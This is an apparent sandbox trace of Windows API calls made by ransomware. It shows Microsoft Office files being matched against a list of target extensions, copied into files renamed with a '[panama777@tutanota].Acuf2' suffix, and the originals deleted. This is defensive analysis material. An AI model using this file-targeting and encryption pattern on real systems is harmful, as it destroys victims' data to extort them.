	[0264.421] lstrlenW (lpString=".docx") returned 5
	[0264.421] lstrcmpiW (lpString1=".docx", lpString2="C.DLL") returned -1
	[0264.421] lstrlenW (lpString=".pdf") returned 4
	[0264.421] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1
	[0264.421] lstrlenW (lpString=".xls") returned 4
	[0264.421] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1
	[0264.422] lstrlenW (lpString=".xlsx") returned 5
	[0264.422] lstrcmpiW (lpString1=".xlsx", lpString2="C.DLL") returned -1
	[0264.422] lstrlenW (lpString=".ppt") returned 4
	[0264.422] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1
	[0264.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL") returned 59
	[0264.422] lstrlenW (lpString=".zip") returned 4
	[0264.422] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1
	[0264.422] lstrlenW (lpString=".rar") returned 4
	[0264.422] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1
	[0264.422] lstrlenW (lpString=".bz2") returned 4
	[0264.422] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1
	[0264.422] lstrlenW (lpString=".7z") returned 3
	[0264.422] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0264.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL") returned 59
	[0264.422] lstrlenW (lpString=".dbf") returned 4
	[0264.422] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1
	[0264.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL") returned 59
	[0264.422] lstrlenW (lpString=".1cd") returned 4
	[0264.422] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1
	[0264.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL") returned 59
	[0264.422] lstrlenW (lpString=".jpg") returned 4
	[0264.422] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1
	[0264.474] SetFilePointerEx (in: hFile=0x2a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0264.474] SetFilePointerEx (in: hFile=0x2a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0264.474] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_col.hxt.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0264.474] GetLastError () returned 0x0
	[0264.474] ReadFile (in: hFile=0x2a4, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0xd0, lpOverlapped=0x0) returned 1
	[0264.475] WriteFile (in: hFile=0x328, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0xe0, lpOverlapped=0x0) returned 1
	[0264.476] ReadFile (in: hFile=0x2a4, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x0, lpOverlapped=0x0) returned 1
	[0264.476] WriteFile (in: hFile=0x328, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0xf4, lpOverlapped=0x0) returned 1
	[0264.476] SetEndOfFile (hFile=0x328) returned 1
	[0264.476] CloseHandle (hObject=0x328) returned 1
	[0264.476] SetFilePointerEx (in: hFile=0x2a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0264.476] SetEndOfFile (hFile=0x2a4) returned 1
	[0264.478] CloseHandle (hObject=0x2a4) returned 1
	[0264.478] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0264.478] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_col.hxt")) returned 1
	[0264.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT") returned 64
	[0264.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT") returned 64
	[0264.481] lstrlenW (lpString=".doc") returned 4
	[0264.481] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1
	[0264.481] lstrlenW (lpString=".docx") returned 5
	[0264.481] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1
	[0264.481] lstrlenW (lpString=".pdf") returned 4
	[0264.481] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1
	[0264.481] lstrlenW (lpString=".xls") returned 4
	[0264.481] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1
	[0264.481] lstrlenW (lpString=".xlsx") returned 5
	[0264.481] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1
	[0264.481] lstrlenW (lpString=".ppt") returned 4
	[0264.481] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1
	[0264.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT") returned 64
	[0264.481] lstrlenW (lpString=".zip") returned 4
	[0264.481] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1
	[0264.481] lstrlenW (lpString=".rar") returned 4
	[0264.481] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1
	[0264.481] lstrlenW (lpString=".bz2") returned 4
	[0264.481] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1
	[0264.481] lstrlenW (lpString=".7z") returned 3
	[0264.481] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1
	[0264.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT") returned 64
	[0264.481] lstrlenW (lpString=".dbf") returned 4
	[0264.481] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1
	[0264.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT") returned 64
	[0264.481] lstrlenW (lpString=".1cd") returned 4
	[0264.481] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1
	[0264.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT") returned 64
	[0264.481] lstrlenW (lpString=".jpg") returned 4
	[0264.482] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1
	[0264.482] GetFileSizeEx (in: hFile=0x2a4, lpFileSize=0x360ff1c | out: lpFileSize=0x360ff1c*=114) returned 1
	[0264.482] CloseHandle (hObject=0x2a4) returned 1
	[0264.482] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_f_col.hxk")) returned 0x20
	[0264.482] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_f_col.hxk.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0264.482] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a4
	[0264.482] SetFilePointerEx (in: hFile=0x2a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0264.482] SetFilePointerEx (in: hFile=0x2a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0264.482] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_f_col.hxk.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0264.483] GetLastError () returned 0x0
	[0264.483] ReadFile (in: hFile=0x2a4, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x72, lpOverlapped=0x0) returned 1
	[0264.484] WriteFile (in: hFile=0x328, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0x80, lpOverlapped=0x0) returned 1
	[0264.485] ReadFile (in: hFile=0x2a4, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x0, lpOverlapped=0x0) returned 1
	[0264.485] WriteFile (in: hFile=0x328, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0xf8, lpOverlapped=0x0) returned 1
	[0264.485] SetEndOfFile (hFile=0x328) returned 1
	[0264.485] CloseHandle (hObject=0x328) returned 1
	[0264.485] SetFilePointerEx (in: hFile=0x2a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0264.485] SetEndOfFile (hFile=0x2a4) returned 1
	[0264.487] CloseHandle (hObject=0x2a4) returned 1
	[0264.487] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0264.487] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_f_col.hxk")) returned 1
	[0264.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK") returned 66
	[0264.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK") returned 66
	[0264.488] lstrlenW (lpString=".doc") returned 4
	[0264.488] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1
	[0264.488] lstrlenW (lpString=".docx") returned 5
	[0264.488] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1
	[0264.488] lstrlenW (lpString=".pdf") returned 4
	[0264.488] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1
	[0264.488] lstrlenW (lpString=".xls") returned 4
	[0264.488] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1
	[0264.488] lstrlenW (lpString=".xlsx") returned 5
	[0264.488] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1
	[0264.488] lstrlenW (lpString=".ppt") returned 4
	[0264.488] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1
	[0264.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK") returned 66
	[0264.488] lstrlenW (lpString=".zip") returned 4
	[0264.488] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1
	[0264.488] lstrlenW (lpString=".rar") returned 4
	[0264.488] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1
	[0264.488] lstrlenW (lpString=".bz2") returned 4
	[0264.488] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1
	[0264.488] lstrlenW (lpString=".7z") returned 3
	[0264.488] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1
	[0264.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK") returned 66
	[0264.488] lstrlenW (lpString=".dbf") returned 4
	[0264.488] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1
	[0264.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK") returned 66
	[0264.488] lstrlenW (lpString=".1cd") returned 4
	[0264.488] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1
	[0264.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK") returned 66
	[0264.488] lstrlenW (lpString=".jpg") returned 4
	[0264.488] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1
	[0264.489] GetFileSizeEx (in: hFile=0x2a4, lpFileSize=0x360ff1c | out: lpFileSize=0x360ff1c*=113) returned 1
	[0264.489] CloseHandle (hObject=0x2a4) returned 1
	[0264.489] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_k_col.hxk")) returned 0x20
	[0264.489] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_k_col.hxk.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0264.489] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a4
	[0264.489] SetFilePointerEx (in: hFile=0x2a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0264.489] SetFilePointerEx (in: hFile=0x2a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0264.489] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_k_col.hxk.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0264.490] GetLastError () returned 0x0
	[0264.490] ReadFile (in: hFile=0x2a4, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x71, lpOverlapped=0x0) returned 1
	[0264.499] WriteFile (in: hFile=0x328, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0x80, lpOverlapped=0x0) returned 1
	[0264.500] ReadFile (in: hFile=0x2a4, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x0, lpOverlapped=0x0) returned 1
	[0264.500] WriteFile (in: hFile=0x328, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0xf8, lpOverlapped=0x0) returned 1
	[0264.501] SetEndOfFile (hFile=0x328) returned 1
	[0264.501] CloseHandle (hObject=0x328) returned 1
	[0264.501] SetFilePointerEx (in: hFile=0x2a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0264.501] SetEndOfFile (hFile=0x2a4) returned 1
	[0264.503] CloseHandle (hObject=0x2a4) returned 1
	[0264.503] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0264.503] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_k_col.hxk")) returned 1
	[0264.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK") returned 66
	[0264.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK") returned 66
	[0264.504] lstrlenW (lpString=".doc") returned 4
	[0264.504] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1
	[0264.504] lstrlenW (lpString=".docx") returned 5
	[0264.504] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1
	[0264.504] lstrlenW (lpString=".pdf") returned 4
	[0264.504] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1
	[0264.504] lstrlenW (lpString=".xls") returned 4
	[0264.504] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1
	[0264.504] lstrlenW (lpString=".xlsx") returned 5
	[0264.504] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1
	[0264.504] lstrlenW (lpString=".ppt") returned 4
	[0264.504] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1
	[0264.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK") returned 66
	[0264.504] lstrlenW (lpString=".zip") returned 4
	[0264.504] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1
	[0264.504] lstrlenW (lpString=".rar") returned 4
	[0264.504] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1
	[0264.504] lstrlenW (lpString=".bz2") returned 4
	[0264.504] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1
	[0264.504] lstrlenW (lpString=".7z") returned 3
	[0264.504] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1
	[0264.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK") returned 66
	[0264.504] lstrlenW (lpString=".dbf") returned 4
	[0264.504] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1
	[0264.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK") returned 66
	[0264.504] lstrlenW (lpString=".1cd") returned 4
	[0264.504] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1
	[0264.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK") returned 66
	[0264.504] lstrlenW (lpString=".jpg") returned 4
	[0264.504] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1
	[0264.505] GetFileSizeEx (in: hFile=0x2a4, lpFileSize=0x360ff1c | out: lpFileSize=0x360ff1c*=139648) returned 1
	[0264.505] CloseHandle (hObject=0x2a4) returned 1
	[0264.505] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ppintl.rest.idx_dll")) returned 0x20
	[0264.505] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ppintl.rest.idx_dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0264.505] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ppintl.rest.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a4
	[0264.505] SetFilePointerEx (in: hFile=0x2a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0264.505] SetFilePointerEx (in: hFile=0x2a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0264.505] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ppintl.rest.idx_dll.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0264.506] GetLastError () returned 0x0
	[0264.506] ReadFile (in: hFile=0x2a4, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x22180, lpOverlapped=0x0) returned 1
	[0264.510] WriteFile (in: hFile=0x328, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0x22190, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0x22190, lpOverlapped=0x0) returned 1
	[0264.513] ReadFile (in: hFile=0x2a4, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x0, lpOverlapped=0x0) returned 1
	[0264.513] WriteFile (in: hFile=0x328, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0xfa, lpOverlapped=0x0) returned 1
	[0264.513] SetEndOfFile (hFile=0x328) returned 1
	[0264.513] CloseHandle (hObject=0x328) returned 1
	[0264.513] SetFilePointerEx (in: hFile=0x2a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0264.513] SetEndOfFile (hFile=0x2a4) returned 1
	[0264.518] CloseHandle (hObject=0x2a4) returned 1
	[0264.518] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0264.518] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ppintl.rest.idx_dll")) returned 1
	[0264.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL") returned 67
	[0264.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL") returned 67
	[0264.518] lstrlenW (lpString=".doc") returned 4
	[0264.518] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1
	[0264.518] lstrlenW (lpString=".docx") returned 5
	[0264.518] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1
	[0264.518] lstrlenW (lpString=".pdf") returned 4
	[0264.518] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1
	[0264.519] lstrlenW (lpString=".xls") returned 4
	[0264.519] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1
	[0264.519] lstrlenW (lpString=".xlsx") returned 5
	[0264.519] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1
	[0264.519] lstrlenW (lpString=".ppt") returned 4
	[0264.519] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1
	[0264.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL") returned 67
	[0264.519] lstrlenW (lpString=".zip") returned 4
	[0264.519] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1
	[0264.519] lstrlenW (lpString=".rar") returned 4
	[0264.519] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1
	[0264.519] lstrlenW (lpString=".bz2") returned 4
	[0264.519] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1
	[0264.519] lstrlenW (lpString=".7z") returned 3
	[0264.519] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0264.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL") returned 67
	[0264.519] lstrlenW (lpString=".dbf") returned 4
	[0264.519] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1
	[0264.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL") returned 67
	[0264.519] lstrlenW (lpString=".1cd") returned 4
	[0264.519] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1
	[0264.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL") returned 67
	[0264.519] lstrlenW (lpString=".jpg") returned 4
	[0264.519] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1
	[0264.520] GetFileSizeEx (in: hFile=0x2a4, lpFileSize=0x360ff1c | out: lpFileSize=0x360ff1c*=137096) returned 1
	[0264.520] CloseHandle (hObject=0x2a4) returned 1
	[0264.520] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\proprpt.vsl")) returned 0x20
	[0264.520] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\proprpt.vsl.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0264.520] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\proprpt.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a4
	[0264.521] SetFilePointerEx (in: hFile=0x2a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0264.521] SetFilePointerEx (in: hFile=0x2a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0264.521] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\proprpt.vsl.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0264.521] GetLastError () returned 0x0
